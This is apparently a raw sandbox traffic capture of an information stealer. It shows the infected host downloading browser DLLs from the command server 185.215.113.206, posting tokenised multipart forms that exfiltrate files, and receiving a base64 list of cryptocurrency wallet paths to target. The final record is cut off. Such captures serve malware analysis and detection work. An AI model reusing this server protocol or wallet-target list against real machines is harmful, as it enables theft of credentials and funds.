43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECBFBAEBKJJJJKFCGCBContent-Disposition: form-data; name="file"------KECBFBAEBKJJJJKFCGCB--
Nov 16, 2024 13:01:36.093882084 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:36.778791904 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:37.057256937 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 16, 2024 13:01:37.057265997 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 16, 2024 13:01:37.057276964 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 16, 2024 13:01:37.057316065 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Nov 16, 2024 13:01:37.057327032 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Nov 16, 2024 13:01:37.057337999 CET	636	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Nov 16, 2024 13:01:37.057347059 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 16, 2024 13:01:37.057358027 CET	1236	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}
Nov 16, 2024 13:01:37.057368040 CET	1236	IN	Data Raw: 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU
Nov 16, 2024 13:01:37.057379961 CET	1236	IN	Data Raw: 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 16, 2024 13:01:38.106837988 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:38.385447025 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 16, 2024 13:01:39.026875019 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:39.305250883 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 16, 2024 13:01:39.599594116 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:39.878237009 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 16, 2024 13:01:41.117104053 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:41.395502090 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 16, 2024 13:01:41.555967093 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 13:01:41.834736109 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 16, 2024 13:01:42.550240993 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 13:01:43.340197086 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:43.394395113 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"wallets------JDGHIIJKEBGIDHIDBKJD--
Nov 16, 2024 13:01:43.675596952 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 16, 2024 13:01:43.678616047 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"2e45bf8da498d9940573f81ca95dfeb205b383d280522bcbe8b917066efb459d7cb46890------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"files------JKFCBAEHCAEGDHJKFHJK--
Nov 16, 2024 13:01:43.959341049 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 13:01:44.022222042 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 35 62 66 38 64 61 34 39 38 64 39 39 34 30 35 37 33 66 38 31 63 61 39 35 64 66 65 62 32 30 35 62 33 38 33 64 32 38 30 35 32 32 62 63 62 65 38 62 39 31 37 30 36 36 65 66 62 34 35 39 64 37 63 62 34 36 38 39 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 